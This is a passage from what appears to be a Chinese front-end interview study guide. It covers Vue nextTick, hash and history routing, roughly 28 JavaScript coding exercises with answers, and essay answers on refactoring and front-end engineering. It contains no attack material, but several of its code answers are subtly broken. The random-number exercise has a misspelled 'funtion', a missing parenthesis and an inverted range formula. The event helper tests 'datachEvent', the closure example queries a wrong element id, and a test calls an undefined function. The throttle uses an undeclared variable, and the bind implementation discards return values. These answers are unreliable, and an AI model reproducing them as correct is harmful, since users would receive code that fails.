    setTimeout(flushCallbacks, 0);
  };
}

export function nextTick(cb) {
  // 除了渲染watcher  还有用户自己手动调用的nextTick 一起被收集到数组
  callbacks.push(cb);
  if (!pending) {
    // 如果多次调用nextTick  只会执行一次异步 等异步队列清空之后再把标志变为false
    pending = true;
    timerFunc();
  }
}

# 3 Vue diff 原理

# 4 路由原理 history 和 hash 两种路由方式的特点

hash 模式

  • location.hash 的值实际就是 URL#后面的东西 它的特点在于:hash 虽然出现 URL 中,但不会被包含在 HTTP 请求中,对后端完全没有影响,因此改变 hash 不会重新加载页面
  • 可以为 hash 的改变添加监听事件
window.addEventListener("hashchange", funcRef, false);
  • 每一次改变 hashwindow.location.hash),都会在浏览器的访问历史中增加一个记录利用 hash 的以上特点,就可以来实现前端路由“更新视图但不重新请求页面”的功能了。
  • 特点:兼容性好但是不美观

history 模式

利用了 HTML5 History Interface 中新增的 pushState()replaceState() 方法

  • 这两个方法应用于浏览器的历史记录站,在当前已有的 backforwardgo 的基础之上,它们提供了对历史记录进行修改的功能。这两个方法有个共同的特点:当调用他们修改浏览器历史记录栈后,虽然当前 URL 改变了,但浏览器不会刷新页面,这就为单页应用前端路由“更新视图但不重新请求页面”提供了基础
  • 特点:虽然美观,但是刷新会出现 404 需要后端进行配置

# 九、编程题相关

# 1 写一个通用的事件侦听器函数

 // event(事件)工具集,来源:github.com/markyun
    markyun.Event = {

        // 视能力分别使用dom0||dom2||IE方式 来绑定事件
        // 参数: 操作的元素,事件名称 ,事件处理程序
        addEvent : function(element, type, handler) {
            if (element.addEventListener) {
                //事件类型、需要执行的函数、是否捕捉
                element.addEventListener(type, handler, false);
            } else if (element.attachEvent) {
                element.attachEvent('on' + type, function() {
                    handler.call(element);
                });
            } else {
                element['on' + type] = handler;
            }
        },
        // 移除事件
        removeEvent : function(element, type, handler) {
            if (element.removeEventListener) {
                element.removeEventListener(type, handler, false);
            } else if (element.datachEvent) {
                element.detachEvent('on' + type, handler);
            } else {
                element['on' + type] = null;
            }
        },
        // 阻止事件 (主要是事件冒泡,因为IE不支持事件捕获)
        stopPropagation : function(ev) {
            if (ev.stopPropagation) {
                ev.stopPropagation();
            } else {
                ev.cancelBubble = true;
            }
        },
        // 取消事件的默认行为
        preventDefault : function(event) {
            if (event.preventDefault) {
                event.preventDefault();
            } else {
                event.returnValue = false;
            }
        },
        // 获取事件目标
        getTarget : function(event) {
            return event.target || event.srcElement;
        }

# 2 如何判断一个对象是否为数组

function isArray(arg) {
  return Array.isArray(arg) || (typeof arg === 'object' && Object.prototype.toString.call(arg) === '[object Array]');
}

首先使用 Array.isArray 方法判断 arg 是否为数组。如果是数组,则直接返回 true。否则,执行后面的类型判断逻辑。

这样,你可以使用 isArray 函数来判断一个对象是否为数组。例如:

console.log(isArray([])); // true
console.log(isArray({})); // false
console.log(isArray('')); // false

# 3 冒泡排序

它通过比较相邻的两个数,如果后一个数比前一个数小,则交换它们的位置。重复这个过程,直到所有的数都按照从小到大的顺序排列。

代码中使用了两层嵌套的循环。外层循环控制比较的轮数,内层循环用于比较相邻的两个数并交换位置。

下面代码添加了一个标志位来判断是否发生了交换,如果某一轮比较中没有发生交换,说明数组已经有序,可以提前结束循环。

var arr = [3, 1, 4, 6, 5, 7, 2];

function bubbleSort(arr) {
    var len = arr.length;
    for (var i = 0; i < len - 1; i++) {
        var swapped = false; // 标志位,判断是否发生交换
        for (var j = 0; j < len - i - 1; j++) {
            if (arr[j] > arr[j + 1]) {
                var temp = arr[j];
                arr[j] = arr[j + 1];
                arr[j + 1] = temp;
                swapped = true; // 发生了交换
            }
        }
        if (!swapped) {
            break; // 没有发生交换,提前结束循环
        }
    }
    return arr;
}

console.log(bubbleSort(arr));

我们在内层循环中添加了一个标志位 swapped,初始值为 false。如果发生了交换,将 swapped 设置为 true。在每一轮外层循环结束后,检查 swapped 的值,如果为 false,说明数组已经有序,提前结束循环。

这样可以避免在已经排序完成的数组上进行不必要的比较,提高了冒泡排序的效率。

运行结果应为 [1, 2, 3, 4, 5, 6, 7]

# 4 快速排序

采用二分法,取出中间数,数组每次和中间数比较,小的放到左边,大的放到右边

快速排序的思想很简单,整个排序过程只需要三步:

  • 在数据集之中,找一个基准点
  • 建立两个数组,分别存储左边和右边的数组
  • 利用递归进行下次比较
  • 快速排序的时间复杂度为 O(nlogn),是一种高效的排序算法
var arr = [3, 1, 4, 6, 5, 7, 2];

function quickSort(arr) {
    if(arr.length == 0) {
        return [];    // 返回空数组
    }

    var cIndex = Math.floor(arr.length / 2);
    var c = arr.splice(cIndex, 1);
    var l = [];
    var r = [];

    for (var i = 0; i < arr.length; i++) {
        if(arr[i] < c) {
            l.push(arr[i]);
        } else {
            r.push(arr[i]);
        }
    }

    return quickSort(l).concat(c, quickSort(r));
}

console.log(quickSort(arr));

# 5 编写一个方法 求一个字符串的字节长度

  • 假设:一个英文字符占用一个字节,一个中文字符占用两个字节
function GetBytes(str){
    var len = str.length;
    var bytes = len;
    for(var i=0; i<len; i++){
        if (str.charCodeAt(i) > 255) bytes++;
    }
    return bytes;
}

alert(GetBytes("你好,as"));

# 6 bind的用法,以及如何实现bind的函数和需要注意的点

  • bind的作用与callapply相同,区别是callapply是立即调用函数,而bind是返回了一个函数,需要调用的时候再执行。

一个简单的bind函数实现如下

Function.prototype.bind = function(ctx) {
    var fn = this;
    return function() {
        fn.apply(ctx, arguments);
    };
};

bind方法用于创建一个新函数,并将其中的this值绑定到指定的对象。与callapply不同,bind方法不会立即调用函数,而是返回一个绑定了指定this值的新函数,供以后调用。

它将原函数保存在fn变量中,然后返回了一个匿名函数。当新函数被调用时,它会使用fn.apply来设置函数的上下文(this值)为传入的ctx对象,并将参数通过arguments对象传递进去。

需要注意的是,bind方法还可以接受额外的参数,这些参数会在调用新函数时作为参数传递进去。修改代码,使其支持传递额外参数的实现如下:

Function.prototype.bind = function(ctx) {
    var fn = this;
    var args = Array.prototype.slice.call(arguments, 1); // 获取额外参数
    return function() {
        var combinedArgs = args.concat(Array.prototype.slice.call(arguments)); // 合并额外参数和新函数调用时的参数
        fn.apply(ctx, combinedArgs);
    };
};

另外,需要注意的是,使用原型链修改内置对象的方法可能会与其他代码发生冲突或不兼容。因此,在实际开发中,最好避免修改内置对象的原型方法,以免引起意想不到的问题。

# 7 实现一个函数clone

可以对JavaScript中的5种主要的数据类型,包括NumberStringObjectArrayBoolean)进行值复

  • 考察点1:对于基本数据类型和引用数据类型在内存中存放的是值还是指针这一区别是否清楚
  • 考察点2:是否知道如何判断一个变量是什么类型的
  • 考察点3:递归算法的设计
// 方法一:
Object.prototype.clone = function(){
    var o = this.constructor === Array ? [] : {};
    for(var e in this){
            o[e] = typeof this[e] === "object" ? this[e].clone() : this[e];
    }
    return o;
}
//方法二:
/**
* 克隆一个对象
* @param Obj
* @returns
*/
function clone(Obj) {   
    var buf;   
    if (Obj instanceof Array) {   
        buf = [];                    //创建一个空的数组
        var i = Obj.length;   
        while (i--) {   
            buf[i] = clone(Obj[i]);   
        }   
        return buf;    
    }else if (Obj instanceof Object){   
        buf = {};                   //创建一个空对象
        for (var k in Obj) {           //为这个对象添加新的属性
            buf[k] = clone(Obj[k]);   
        }   
        return buf;   
    }else{                         //普通变量直接赋值
        return Obj;   
    }   
}

这里提供了两种方法来实现对象的克隆(clone)。

  • 方法一使用了原型链的方式,在Object.prototype上添加了一个名为clone的方法。该方法可以克隆一个对象,对于数组类型则创建一个空数组,对于对象类型则创建一个空对象,并递归地复制属性值。
  • 方法二是一个独立的函数clone,通过判断对象的类型来进行不同的处理。如果是数组类型,则创建一个空数组,并递归地克隆数组的每个元素;如果是对象类型,则创建一个空对象,并递归地克隆对象的每个属性;对于其他类型的变量,直接返回该变量。
  • 这两种方法都使用了递归算法,通过遍历对象的属性,并根据属性的类型进行复制操作,从而实现对象的克隆。需要注意的是,在使用递归算法时,要注意处理循环引用的情况,以避免进入无限循环。

在实际开发中,可以根据需要选择适合的方法来实现对象的克隆。同时,还可以使用现代的深拷贝工具库,如lodashunderscore等,来实现更复杂的对象克隆操作。

# 8 下面这个ul,如何点击每一列的时候alert其index

考察闭包

 <ul id=”test”>
     <li>这是第一条</li>
     <li>这是第二条</li>
     <li>这是第三条</li>
 </ul>
  // 方法一:
  var lis=document.getElementById('2223').getElementsByTagName('li');
  for(var i=0;i<3;i++)
  {
      lis[i].index=i;
      lis[i].onclick=function(){
          alert(this.index);
  }

 //方法二:
 var lis=document.getElementById('2223').getElementsByTagName('li');
 for(var i=0;i<3;i++){
     lis[i].index=i;
     lis[i].onclick=(function(a){
         return function() {
             alert(a);
         }
     })(i);
 }

# 9 定义一个log方法,让它可以代理console.log的方法

// 可行的方法一:
function log(msg) {
    console.log(msg);
}

log("hello world!") // hello world!

如果要传入多个参数呢?显然上面的方法不能满足要求,所以更好的方法是:

function log(){
  console.log.apply(console, arguments);
};

# 10 输出今天的日期

YYYY-MM-DD的方式,比如今天是2014年9月26日,则输出2014-09-26

var d = new Date();
  // 获取年,getFullYear()返回4位的数字
  var year = d.getFullYear();
  // 获取月,月份比较特殊,0是1月,11是12月
  var month = d.getMonth() + 1;
  // 变成两位
  month = month < 10 ? '0' + month : month;
  // 获取日
  var day = d.getDate();
 day = day < 10 ? '0' + day : day;
 alert(year + '-' + month + '-' + day);

除了上述代码中使用Date对象的方法外,还有其他方式可以获取今天的日期并输出。

一种常见的方式是使用toLocaleDateString()方法,该方法可以返回表示日期的字符串。可以通过传递适当的选项来指定所需的日期格式。

以下是使用toLocaleDateString()方法获取今天的日期的示例代码:

var today = new Date();
var options = { year: 'numeric', month: '2-digit', day: '2-digit' };
var formattedDate = today.toLocaleDateString('en-US', options);
console.log(formattedDate);

在上述代码中,首先创建一个Date对象表示今天的日期。

然后,定义一个选项对象options,其中指定了年份、月份和日期的格式。

最后,使用toLocaleDateString()方法将日期对象转换为指定格式的字符串,并将其赋值给formattedDate变量。

通过console.log()函数输出formattedDate,即可得到以YYYY-MM-DD的格式表示的今天的日期。

这种方法的优点是可以根据需求更灵活地定制日期的格式,适用于不同的地区和语言设置。

# 11 用js实现随机选取10–100之间的10个数字,存入一个数组,并排序

var iArray = [];
funtion getRandom(istart, iend){
  var iChoice = istart - iend +1;
  return Math.floor(Math.random() * iChoice + istart;
}
for(var i=0; i<10; i++){
  iArray.push(getRandom(10,100));
}
iArray.sort();

# 12 写一段JS程序提取URL中的各个GET参数

有这样一个URLhttp://item.taobao.com/item.htm?a=1&b=2&c=&d=xxx&e,请写一段JS程序提取URL中的各个GET参数(参数名和参数个数不确定),将其按key-value形式返回到一个json结构中,如{a:'1', b:'2', c:'', d:'xxx', e:undefined}

function serilizeUrl(url) {
     var result = {};
     url = url.split("?")[1];
     var map = url.split("&");
     for(var i = 0, len = map.length; i < len; i++) {
        result[map[i].split("=")[0]] = map[i].split("=")[1];
     }
     return result;
 }

# 13 写一个function,清除字符串前后的空格

使用自带接口trim(),考虑兼容性:

if (!String.prototype.trim) {
    String.prototype.trim = function() {
        return this.replace(/^\s+/, "").replace(/\s+$/,"");
    }
}
// test the function
var str = " \t\n test string ".trim();
alert(str == "test string"); // alerts "true"

# 14 实现每隔一秒钟输出1,2,3...数字

for(var i=0;i<10;i++){
  (function(j){
     setTimeout(function(){
       console.log(j+1)
     },j*1000)
   })(i)
}

在循环中,立即执行函数被用作一个闭包,用于保存每次循环中的i的值。这是为了避免在setTimeout函数中使用的回调函数在执行时捕获到的是循环结束后的i的值。

setTimeout函数用于设置一个定时器,它接受两个参数:回调函数和延迟时间(以毫秒为单位)。在每次循环中,通过将j*1000作为延迟时间,实现每隔一秒钟输出数字的效果。回调函数输出的数字为j+1,因为j从0开始。

通过这种方式,可以确保每隔一秒钟输出1, 2, 3...的数字。每个数字的输出时间间隔为一秒。

# 15 实现一个函数,判断输入是不是回文字符串

function run(input) {
  if (typeof input !== 'string') return false;
  return input.split('').reverse().join('') === input;
}

# 16 数组扁平化处理

实现一个flatten方法,使得输入一个数组,该数组里面的元素也可以是数组,该方法会输出一个扁平化的数组

function flatten(arr){
  return arr.reduce(function(prev,item){
      return prev.concat(Array.isArray(item)?flatten(item):item);
  },[]);
}

除了使用reduce方法,还可以使用递归和ES6的扩展运算符等方式来实现数组的扁平化处理。

  1. 递归方式:
function flatten(arr) {
  var result = [];
  arr.forEach(function(item) {
    if (Array.isArray(item)) {
      result = result.concat(flatten(item));
    } else {
      result.push(item);
    }
  });
  return result;
}
  1. 使用ES6的扩展运算符:
function flatten(arr) {
  while (arr.some(Array.isArray)) {
    arr = [].concat(...arr);
  }
  return arr;
}

这些方法都可以将多层嵌套的数组扁平化成一个一维数组。使用递归方法时,通过遍历数组的每个元素,如果元素是数组,则递归调用扁平化函数;如果元素不是数组,则直接添加到结果数组中。使用ES6的扩展运算符时,通过不断地展开数组中的每个元素,直到所有元素都不再是数组为止。

# 17 实现一个函数clone,可以对JavaScript中的5种主要的数据类型(包括Number、String、Object、Array、Boolean)进行值复制

Object.prototype.clone = function(){
    var o = this.constructor === Array ? [] : {};
    for(var e in this){
      o[e] = typeof this[e] === "object" ? this[e].clone() : this[e];
    }
    return o;
  }

# 18 手写 promise.all 和 race(京东)

  //静态方法
  static all(promiseArr) {
    let result = [];
    //声明一个计数器 每一个promise返回就加一
    let count = 0;
    return new Mypromise((resolve, reject) => {
      for (let i = 0; i < promiseArr.length; i++) {
      //这里用 Promise.resolve包装一下 防止不是Promise类型传进来
        Promise.resolve(promiseArr[i]).then(
          (res) => {
            //这里不能直接push数组  因为要控制顺序一一对应(感谢评论区指正)
            result[i] = res;
            count++;
            //只有全部的promise执行成功之后才resolve出去
            if (count === promiseArr.length) {
              resolve(result);
            }
          },
          (err) => {
            reject(err);
          }
        );
      }
    });
  }
  //静态方法
  static race(promiseArr) {
    return new Mypromise((resolve, reject) => {
      for (let i = 0; i < promiseArr.length; i++) {
        Promise.resolve(promiseArr[i]).then(
          (res) => {
            //promise数组只要有任何一个promise 状态变更  就可以返回
            resolve(res);
          },
          (err) => {
            reject(err);
          }
        );
      }
    });
  }
}

# 19 手写-实现一个寄生组合继承

function Parent(name) {
  this.name = name;
  this.say = () => {
    console.log(111);
  };
}
Parent.prototype.play = () => {
  console.log(222);
};
function Children(name) {
  Parent.call(this);
  this.name = name;
}
Children.prototype = Object.create(Parent.prototype);
Children.prototype.constructor = Children;


let child = new Children("111");
console.log(child.name);
child.say();
child.play();

# 20 手写-new 操作符

function myNew(fn, ...args) {
  let obj = Object.create(fn.prototype);
  let res = fn.call(obj, ...args);
  if (res && (typeof res === "object" || typeof res === "function")) {
    return res;
  }
  return obj;
}
// 用法如下:
function Person(name, age) {
  this.name = name;
  this.age = age;
}
Person.prototype.say = function() {
  console.log(this.age);
};
let p1 = myNew(Person, "lihua", 18);
console.log(p1.name);
console.log(p1);
p1.say();

# 21 手写-setTimeout 模拟实现 setInterval(阿里)

function mySetInterval(fn, time = 1000) {
  let timer = null,
    isClear = false;
  function interval() {
    if (isClear) {
      isClear = false;
      clearTimeout(timer);
      return;
    }
    fn();
    timer = setTimeout(interval, time);
  }
  timer = setTimeout(interval, time);
  return () => {
    isClear = true;
  };
}
  • 函数内部定义了一个timer变量和一个isClear变量,timer用于保存setTimeout的返回值,isClear用于标记是否需要清除定时器。
  • interval函数是核心的定时执行函数,它会在每个时间间隔内执行一次回调函数fn。在每次执行回调函数之前,会检查isClear的值,如果为true,表示需要清除定时器,此时会调用clearTimeout清除定时器并直接返回。否则,会执行回调函数fn,然后通过setTimeout设置下一个定时执行。
  • 在调用mySetInterval函数时,会立即执行一次interval函数,并通过setTimeout设置下一次的定时执行。同时,返回一个函数,调用该函数可以手动清除定时器。
  • 需要注意的是,模拟实现的mySetInterval函数在执行回调函数时是通过setTimeout实现的,因此会存在一定的延迟。实际上,使用setInterval能更准确地控制时间间隔,因为setInterval会尽可能保持固定的间隔时间。而使用setTimeout实现的mySetInterval函数可能会存在一些累积的误差。
// 测试
let a = mySettimeout(() => {
  console.log(111);
}, 1000)
let cancel = mySettimeout(() => {
  console.log(222)
}, 1000)
cancel()

# 22 手写-发布订阅模式(字节)

class EventEmitter {
  constructor() {
    this.events = {};
  }
  // 实现订阅
  on(type, callBack) {
    if (!this.events[type]) {
      this.events[type] = [callBack];
    } else {
      this.events[type].push(callBack);
    }
  }
  // 删除订阅
  off(type, callBack) {
    if (!this.events[type]) return;
    this.events[type] = this.events[type].filter((item) => {
      return item !== callBack;
    });
  }
  // 只执行一次订阅事件
  once(type, callBack) {
    function fn() {
      callBack();
      this.off(type, fn);
    }
    this.on(type, fn);
  }
  // 触发事件
  emit(type, ...rest) {
    this.events[type] &&
      this.events[type].forEach((fn) => fn.apply(this, rest));
  }
}
// 使用如下
const event = new EventEmitter();

const handle = (...rest) => {
  console.log(rest);
};

event.on("click", handle);

event.emit("click", 1, 2, 3, 4);

event.off("click", handle);

event.emit("click", 1, 2);

event.once("dbClick", () => {
  console.log(123456);
});
event.emit("dbClick");
event.emit("dbClick");

# 23 手写-防抖节流(京东)

// 防抖
function debounce(fn, delay = 300) {
  //默认300毫秒
  let timer;
  return function () {
    const args = arguments;
    if (timer) {
      clearTimeout(timer);
    }
    timer = setTimeout(() => {
      fn.apply(this, args); // 改变this指向为调用debounce所指的对象
    }, delay);
  };
}
// 测试
window.addEventListener(
  "scroll",
  debounce(() => {
    console.log(111);
  }, 1000)
);

// 节流
// 设置一个标志
function throttle(fn, delay) {
  let flag = true;
  return () => {
    if (!flag) return;
    flag = false;
    timer = setTimeout(() => {
      fn();
      flag = true;
    }, delay);
  };
}

window.addEventListener(
  "scroll",
  throttle(() => {
    console.log(111);
  }, 1000)
);

# 24 将虚拟 Dom 转化为真实 Dom(类似的递归题-必考)

{
  tag: 'DIV',
  attrs:{
  id:'app'
  },
  children: [
    {
      tag: 'SPAN',
      children: [
        { tag: 'A', children: [] }
      ]
    },
    {
      tag: 'SPAN',
      children: [
        { tag: 'A', children: [] },
        { tag: 'A', children: [] }
      ]
    }
  ]
}

把上面的虚拟Dom转化成下方真实Dom

<div id="app">
  <span>
    <a></a>
  </span>
  <span>
    <a></a>
    <a></a>
  </span>
</div>

答案

// 真正的渲染函数
function _render(vnode) {
  // 如果是数字类型转化为字符串
  if (typeof vnode === "number") {
    vnode = String(vnode);
  }
  // 字符串类型直接就是文本节点
  if (typeof vnode === "string") {
    return document.createTextNode(vnode);
  }
  // 普通DOM
  const dom = document.createElement(vnode.tag);
  if (vnode.attrs) {
    // 遍历属性
    Object.keys(vnode.attrs).forEach((key) => {
      const value = vnode.attrs[key];
      dom.setAttribute(key, value);
    });
  }
  // 子数组进行递归操作 这一步是关键
  vnode.children.forEach((child) => dom.appendChild(_render(child)));
  return dom;
}

# 25 手写-实现一个对象的 flatten 方法(阿里)

题目描述

const obj = {
 a: {
      b: 1,
      c: 2,
      d: {e: 5}
    },
 b: [1, 3, {a: 2, b: 3}],
 c: 3
}

flatten(obj) // 结果返回如下
// {
//  'a.b': 1,
//  'a.c': 2,
//  'a.d.e': 5,
//  'b[0]': 1,
//  'b[1]': 3,
//  'b[2].a': 2,
//  'b[2].b': 3
//   c: 3
// }

答案

function isObject(val) {
  return typeof val === "object" && val !== null;
}

function flatten(obj) {
  if (!isObject(obj)) {
    return;
  }
  let res = {};
  const dfs = (cur, prefix) => {
    if (isObject(cur)) {
      if (Array.isArray(cur)) {
        cur.forEach((item, index) => {
          dfs(item, `${prefix}[${index}]`);
        });
      } else {
        for (let k in cur) {
          dfs(cur[k], `${prefix}${prefix ? "." : ""}${k}`);
        }
      }
    } else {
      res[prefix] = cur;
    }
  };
  dfs(obj, "");

  return res;
}
flatten();

# 26 手写-判断括号字符串是否有效(小米)

题目描述

给定一个只包括 '(',')','{','}','[',']' 的字符串 s ,判断字符串是否有效。

有效字符串需满足:
- 左括号必须用相同类型的右括号闭合。
- 左括号必须以正确的顺序闭合。

示例 1:

输入:s = "()"
输出:true

示例 2:

输入:s = "()[]{}"
输出:true

示例 3:

输入:s = "(]"
输出:false

答案

const isValid = function (s) {
  if (s.length % 2 === 1) {
    return false;
  }
  const regObj = {
    "{": "}",
    "(": ")",
    "[": "]",
  };
  let stack = [];
  for (let i = 0; i < s.length; i++) {
    if (s[i] === "{" || s[i] === "(" || s[i] === "[") {
      stack.push(s[i]);
    } else {
      const cur = stack.pop();
      if (s[i] !== regObj[cur]) {
        return false;
      }
    }
  }

  if (stack.length) {
    return false;
  }

  return true;
};

# 27 手写-查找数组公共前缀(美团)

题目描述

编写一个函数来查找字符串数组中的最长公共前缀。
如果不存在公共前缀,返回空字符串 ""。

示例 1:

输入:strs = ["flower","flow","flight"]
输出:"fl"

示例 2:

输入:strs = ["dog","racecar","car"]
输出:""
解释:输入不存在公共前缀。

答案

const longestCommonPrefix = function (strs) {
  const str = strs[0];
  let index = 0;
  while (index < str.length) {
    const strCur = str.slice(0, index + 1);
    for (let i = 0; i < strs.length; i++) {
      if (!strs[i] || !strs[i].startsWith(strCur)) {
        return str.slice(0, index);
      }
    }
    index++;
  }
  return str;
};

# 28 手写-字符串最长的不重复子串

题目描述

给定一个字符串 s ,请你找出其中不含有重复字符的 最长子串 的长度。


示例 1:

输入: s = "abcabcbb"
输出: 3
解释: 因为无重复字符的最长子串是 "abc",所以其长度为 3。

示例 2:

输入: s = "bbbbb"
输出: 1
解释: 因为无重复字符的最长子串是 "b",所以其长度为 1。

示例 3:

输入: s = "pwwkew"
输出: 3
解释: 因为无重复字符的最长子串是 "wke",所以其长度为 3。
     请注意,你的答案必须是 子串 的长度,"pwke" 是一个子序列,不是子串。

示例 4:

输入: s = ""
输出: 0

答案

const lengthOfLongestSubstring = function (s) {
  if (s.length === 0) {
    return 0;
  }

  let left = 0;
  let right = 1;
  let max = 0;
  while (right <= s.length) {
    let lr = s.slice(left, right);
    const index = lr.indexOf(s[right]);

    if (index > -1) {
      left = index + left + 1;
    } else {
      lr = s.slice(left, right + 1);
      max = Math.max(max, lr.length);
    }
    right++;
  }
  return max;
};

# 十、前端综合问题

# 1 谈谈你对重构的理解

重构是指在不改变外部行为的前提下,对代码、结构、布局或者设计进行优化和改进的过程。在前端开发中,重构通常指对网站或应用程序的前端部分进行优化和改造,以提升性能、可维护性和用户体验。

对于传统的网站来说,重构可以包括以下方面的优化:

  1. 结构优化:将使用表格布局的页面改为使用DIV+CSS布局,使页面结构更加语义化、清晰,并提高页面的可读性和维护性。
  2. 兼容性优化:将网站的前端代码和样式进行调整,使其能够兼容现代浏览器,并修复一些在旧版浏览器中存在的兼容性问题,提升用户体验和页面的可访问性。
  3. 移动优化:针对移动设备的特点和要求,对网站进行优化,如响应式设计或者针对移动设备的单独样式和布局,以提供更好的移动端用户体验。
  4. SEO优化:通过优化网站的HTML结构、标签使用、关键词等方面,提升网站在搜索引擎中的排名和可见性,从而增加网站的流量和曝光度。

重构的目标是改进现有代码和结构,使其更加高效、可维护和可扩展,同时保持网站的功能和外观不变。通过重构,可以提升网站的性能和用户体验,减少代码冗余,改善代码质量,并为后续的功能扩展和维护提供更好的基础。

# 2 什么样的前端代码是好的

好的前端代码具有以下特点:

  1. 可读性高:代码结构清晰,命名规范,注释清晰明了,易于理解和维护。
  2. 高复用性:代码组织良好,模块化设计,可通过复用组件、函数和样式来减少代码的冗余。
  3. 低耦合性:模块之间相互独立,减少模块之间的依赖,修改一个模块时不会对其他模块造成影响。
  4. 高性能:代码优化,减少不必要的计算和请求,合理使用缓存机制,提高页面加载速度和响应性能。
  5. 可维护性:代码结构清晰,逻辑简洁,易于调试和修改,便于团队协作和后续的功能迭代。
  6. 可靠性:代码经过严格的测试,处理各种异常情况,确保系统的稳定性和可靠性。
  7. 宽容性:能够适应不同浏览器和设备的差异,具有良好的兼容性,确保在各种环境下都能正常运行和展示。
  8. 安全性:防范常见的前端安全漏洞,保护用户信息和系统数据的安全。

此外,好的前端代码还应遵循设计模式的六大原则,包括单一职责原则、开放封闭原则、里氏替换原则、依赖倒置原则、接口隔离原则和迪米特法则,以提高代码的可扩展性、可维护性和可重用性。

综上所述,好的前端代码是可读性高、复用性强、低耦合性、高性能、可维护性和可靠性强的代码,同时符合设计模式的原则。

# 3 对前端工程师这个职位是怎么样理解的?它的前景会怎么样

前端工程师是负责开发和实现用户界面的程序员。他们在网站和应用程序开发过程中扮演着至关重要的角色,负责将设计师提供的视觉设计转化为具有交互性和响应性的前端界面。以下是我对前端工程师职位的理解:

  1. 实现界面交互:前端工程师通过编写HTML、CSS和JavaScript代码来实现用户界面的交互功能,包括按钮点击、表单提交、页面切换等。
  2. 提升用户体验:前端工程师致力于提供优秀的用户体验,通过优化页面加载速度、响应性能和用户界面设计,提升用户对产品的满意度和使用体验。
  3. 跨平台开发:随着Node.js的发展,前端工程师可以使用JavaScript开发跨平台的应用程序,如桌面应用、移动应用等,扩展了前端工程师的技术领域。
  4. 与团队合作:前端工程师需要与UI设计师、产品经理、后端工程师等团队成员密切合作,理解需求并与他们进行沟通,确保产品的需求能够得到有效地实现。
  5. 页面结构和重构:前端工程师负责设计和构建页面的结构,使其具备良好的可读性和可维护性。他们还会进行页面重构,以提高网站的性能和可访问性。

前端工程师的前景非常广阔。随着移动互联网和Web技术的快速发展,前端技术变得越来越重要。随着新的前端技术和框架的涌现,前端工程师需要不断学习和更新自己的技能,以适应行业的变化。同时,前端工程师对于提高用户体验和产品质量起着关键作用,因此在各个行业都有很高的需求。

随着移动应用、响应式设计和用户体验的重要性不断增加,前端工程师的职业前景将会持续看好。他们将继续在设计和开发过程中扮演重要角色,并为产品的成功做出贡献。

# 4 你觉得前端工程的价值体现在哪

前端工程的价值在于以下几个方面:

  1. 用户体验优化:前端工程师通过优化用户界面和交互设计,提供良好的用户体验,使用户能够轻松、高效地使用产品。他们关注用户界面的可用性、易用性和可访问性,确保用户能够舒适地与产品进行交互。
  2. 浏览器兼容性支持:不同的浏览器和设备有不同的特性和标准支持,前端工程师需要处理这些差异,确保产品在各种浏览器和设备上都能正常运行和呈现一致的用户体验。他们会进行浏览器兼容性测试和适配,以确保产品在不同环境下都能够良好运行。
  3. 性能优化:前端工程师负责优化前端代码和资源加载,以提高网页的加载速度和响应性能。他们会优化代码结构、压缩和合并文件、使用缓存机制等手段,从而减少页面加载时间,提高用户体验。
  4. 跨平台支持:随着移动设备和多平台应用的普及,前端工程师需要适应不同平台和设备的需求,开发跨平台应用或者响应式设计,使产品能够在不同平台上都具备良好的用户体验。
  5. 数据展示和接口支持:前端工程师负责展示后端数据,并通过与后端接口的交互实现数据的获取和处理。他们需要熟悉数据接口的调用和处理,确保数据的准确性和安全性,同时展示给用户的数据呈现清晰、易懂。

总之,前端工程的价值体现在提供良好的用户体验、保证产品在不同浏览器和平台上的兼容性、优化网页性能以及实现数据展示和接口支持等方面。他们为产品的成功和用户满意度做出了重要贡献。

# 5 平时如何管理你的项目

项目管理在前端开发中非常重要,以下是一些常见的项目管理实践:

  1. 确定项目全局约定:团队需要确定全局样式、编码规范、命名约定等,以保证代码的一致性和可维护性。
  2. 统一编码风格:团队成员需要遵循统一的编码风格,例如使用继承式的写法、单样式一行等,以提高代码的可读性和可理解性。
  3. 标注样式和模块:及时在代码中标注关键样式的编写人以及调用的地方,同时对页面进行标注,方便团队成员的理解和协作。
  4. 文件组织结构:将CSS和HTML文件分别放在不同的文件夹中,并统一命名规则,例如使用style.css作为CSS文件的命名。
  5. JS文件管理:将JS文件放在独立的文件夹中,并根据功能进行命名,使用英文翻译来描述其功能。
  6. 图片整合与优化:采用整合的方式使用图片,并使用适当的格式和优化策略,以减少文件大小和提升加载速度。
  7. 规范代码注释:对代码进行详细的注释,包括HTML、JS、CSS等,以提高代码的可读性和可维护性。
  8. 严格要求静态资源存放路径:规定静态资源的存放路径,遵循统一的文件夹结构,方便团队成员查找和管理资源文件。
  9. Git提交说明:在每次提交代码到版本控制系统时,要求团队成员填写清晰的提交说明,描述提交的内容和目的。

这些项目管理实践可以提高团队的协作效率、代码质量和项目可维护性,确保项目的顺利进行和成功交付。

# 6 组件封装

组件封装是前端开发中常用的技术手段,它的目的是为了实现代码的重用、提高开发效率和代码质量。在组件封装过程中,需要注意以下几个方面:

  1. 分析布局:首先需要对布局进行分析,确定组件的结构和样式。了解组件在不同场景下的表现形式和行为。
  2. 初步开发:根据布局的分析,开始进行组件的初步开发,包括HTML结构、CSS样式和基本的交互行为。
  3. 化繁为简:在初步开发的基础上,对组件进行优化和简化。去除冗余的代码,提取通用的样式和功能,确保组件的精简和高效。
  4. 组件抽象:在封装组件时,需要将组件的功能进行抽象,使其具有单一的职责和可复用性。将组件的各个部分分离,并提供适当的接口和配置项,使组件的使用更加灵活。

常用的操作包括:

  • 使用合适的命名规范,保证组件的易读性和可维护性。
  • 提供必要的文档和示例,方便其他开发人员使用和理解组件。
  • 尽量降低组件与外部环境的耦合度,使其在不同的项目中都能够灵活使用。
  • 考虑组件的可扩展性,使其能够适应未来的需求变化。
  • 在开发过程中进行测试,确保组件的功能和性能达到预期。

通过良好的组件封装实践,可以提高代码的可维护性、可复用性和可测试性,加快开发速度,减少重复劳动,并提升整体的代码质量。

# 7 Web 前端开发的注意事项

在进行Web前端开发时,有一些注意事项可以帮助你提高开发效率和代码质量,以下是一些常见的注意事项:

  1. 特别设置meta标签viewport:通过设置viewport来适配不同设备的屏幕大小,确保网页在移动设备上有良好的显示效果。
  2. 使用百分比布局宽度:使用百分比来设置元素的宽度,结合box-sizing: border-box;可以更好地适应不同屏幕大小。
  3. 使用rem作为计算单位:使用rem作为字体大小和元素尺寸的计算单位,rem相对于根节点html的字体大小,可以实现响应式的布局。
  4. 使用CSS3新特性:充分利用CSS3提供的新特性,如弹性盒模型、多列布局、媒体查询等,来简化布局和样式的编写,并提升用户体验。
